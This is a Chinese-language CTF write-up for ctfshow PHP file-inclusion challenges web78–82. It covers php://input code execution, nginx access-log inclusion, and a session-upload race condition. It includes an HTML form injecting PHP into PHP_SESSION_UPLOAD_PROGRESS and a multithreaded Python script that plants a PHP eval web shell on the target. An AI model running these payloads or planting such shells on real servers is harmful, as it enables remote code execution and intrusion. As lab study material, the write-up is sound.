文件包含 ctfshow
web78:
示例代码
if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); }
直接使用一手php://input获取到flag
<?php system("sort flag.php");?>
web79-80:
同上即可
web81:
使用日志包含
/var/log/nginx/access.log
web82:
这题题目给的环境是条件竞争
方法一 | 借助Burp Suite
可以在本地写一个上传页面,然后抓包添加Cookie: PHPSESSID=AndyNoel
,再用BurpSuite爆破
<!DOCTYPE html>
<html>
<body>
<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat flag.php');?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
一边不断发包请求包含恶意的session,一边不断发包以维持恶意session存储。这样就可以利用条件竞争把恶意内容留在session里面了。
利用session进行文件包含从而取到flag
import requests import threading import io url = "https://4d71eafd-5a17-45ab-92dd-16915645a055.challenge.ctf.show/" sessID = 'rikka' data = { "1": "file_put_contents('/var/www/html/1.php', '<?php eval($_POST[2]);?>');" # read()中需要post的内容 } def write(session): fileBytes = io.BytesIO(b'a' * 1024 * 50) while True: res = session.post(url, data={ 'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>' # 改参数的值就是/tmp/sess_rikka文件的内容 }, cookies={ "PHPSESSID": sessID }, files={ 'file': ('rikka.png', fileBytes) } ) def read(session): while True: res1 = session.post(url + '?file=/tmp/sess_' + sessID, data=data, cookies={ "PHPSESSID": sessID }) res2 = session.get(url + '1.php') if res2.status_code == 200: print("+++done+++") else: print(res2.status_code) if __name__ == '__main__': event = threading.Event() # 开启多线程的对象 with requests.session() as session: for i in range(5): # 开5个线程 threading.Thread(target=write, args=(session,)).start() for i in range(5): threading.Thread(target=read, args=(session,)).start() event.set() # 唤醒线程
123